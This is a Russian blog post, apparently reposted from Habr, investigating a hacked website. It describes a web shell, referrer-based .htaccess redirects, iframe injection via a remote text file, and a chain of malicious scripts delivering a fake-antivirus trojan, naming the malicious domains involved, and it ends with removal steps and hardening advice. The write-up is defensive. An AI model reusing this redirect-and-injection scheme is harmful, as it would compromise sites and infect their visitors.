Так как я пользуюсь браузером Google Chrome, при переходе на данную страницу я увидел 502 ошибку. Но стоило запустить браузер Opera, как мне тут же предложили выполнить некое Java-приложение, которое Антивирус Касперского определил как Trojan/Win32.badur.a. Этот зловред закрывает все открытые программы (а те, что Вы попытаетесь открыть — сразу закроет) и запускает себя — некий сканер компьютера на вирусы, который тут же находит на Вашем компьютере букет всякой заразы и настойчиво предлагает активировать его за 60$ на год (90$ за 3 года!). Убивается сея зараза удалением файла tdefender.exe (defender.exe) в директории %AppData%RandomName% (в моём случае — AppData\Roaming) и стиранием ключа в реестре, в ветках, ответственных за автозапуск (Run).

На этот моё расследование подошло к концу.

Итог.

Схема такова:

  • Находится сайт с уязвимостью, на который загружается шелл.
  • С помощью шелла загружается подставная страница и в файл .htaccess добавляется перенаправление на эту страницу. Перенаправление работает только для тех, кто приходит на сайт с какого-либо другого сайта (поисковик, каталог и т.д.), указанно в списке, в файле .htaccess.
  • Пользователь попадает на подставную страницу, скрипт пытается обратиться по адресу wordpresstest.info/7.txt любым доступным способом (file_get_contents/fsockopen/curl) и получить его содержимое — html-код прозрачного фрейма, который открывает очередной вредоносный скрипт на очередном взломанной сайте (например, betterlife-downloads.com/wsfhxjo.php).
  • Этот скрипт проверяет наличие юзер-агента, ОС, браузер и отправляет запрос с параметром на очередной вредоносный скрипт (test.customsexcams.com/rb/get_url.php). В параметре должен находиться адрес взломанного сайта (второго по счёту в моём описании). Если адрес сменился — скрипт не отработает.
  • Но если все условия выполнены — скрипт вернётся ссылку на очередной сервер, с которого происходит скачивание Trojan/Win32.badur.a, которое на даёт работать и настойчиво просит денег.
Послесловие.

От взлома сайта никто не застрахован, поэтому не стоит забывать о простых мерах предосторожности:

  • Не используйте для доступа к административной части сайта/панели управления хостингом/доступа по FTP и SSH простые пароли.
  • Не храните пароли для доступа по FTP в FTP-клиенте.
  • Обновляйте используемые CMS/плагины/модули до актуальных версий.
  • Поглядывайте в .htaccess на наличие в нём того, чего Вы не добавляли.
  • Поглядывайте на структуру сайта — файлы со странными именами всегда заметны.
  • Поглядывайте на дату последнего редактирования файлов. Если Вы уверены, что в тот день ничего не меняли — стоит задуматься и принять меры.

ссылка на оригинал статьи http://habrahabr.ru/post/184150/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *